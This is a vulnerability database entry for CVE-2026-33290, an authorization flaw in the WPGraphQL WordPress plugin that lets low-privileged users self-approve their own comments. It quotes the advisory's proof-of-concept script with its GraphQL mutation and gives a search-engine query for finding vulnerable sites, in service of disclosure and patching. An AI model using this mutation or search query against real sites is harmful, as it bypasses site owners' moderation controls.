Summaryinfo

A vulnerability was found in wp-graphql up to 2.9.x on WordPress. It has been rated as problematic. Affected by this vulnerability is the function moderate_comments of the file plugins/wp-graphql/src/Mutation/CommentUpdate.php. The manipulation of the argument user_id leads to authorization. This vulnerability is listed as CVE-2026-33290. The attack may be initiated remotely. There is no available exploit. Upgrading the affected component is advised.

Detailsinfo

A vulnerability was found in wp-graphql up to 2.9.x on WordPress. It has been rated as problematic. This issue affects the function moderate_comments of the file plugins/wp-graphql/src/Mutation/CommentUpdate.php. The manipulation of the argument user_id with an unknown input leads to a authorization vulnerability. Using CWE to declare the problem leads to CWE-862. The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Impacted is integrity. The summary by CVE is:

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

It is possible to read the advisory at github.com. The identification of this vulnerability is CVE-2026-33290 since 03/18/2026. The exploitation is known to be easy. The attack may be initiated remotely. Technical details of the vulnerability are known, but there is no available exploit.

By approaching the search of inurl:plugins/wp-graphql/src/Mutation/CommentUpdate.php it is possible to find vulnerable targets with Google Hacking.

Upgrading to version 2.10.0 eliminates this vulnerability. The upgrade is hosted for download at github.com.

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Productinfo

Type

• WordPress Plugin

Name

• wp-graphql

Version

• 2.0
• 2.1
• 2.2
• 2.3
• 2.4
• 2.5
• 2.6
• 2.7
• 2.8
• 2.9

Website

• Product: https://github.com/wp-graphql/wp-graphql/

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CPE 2.2info

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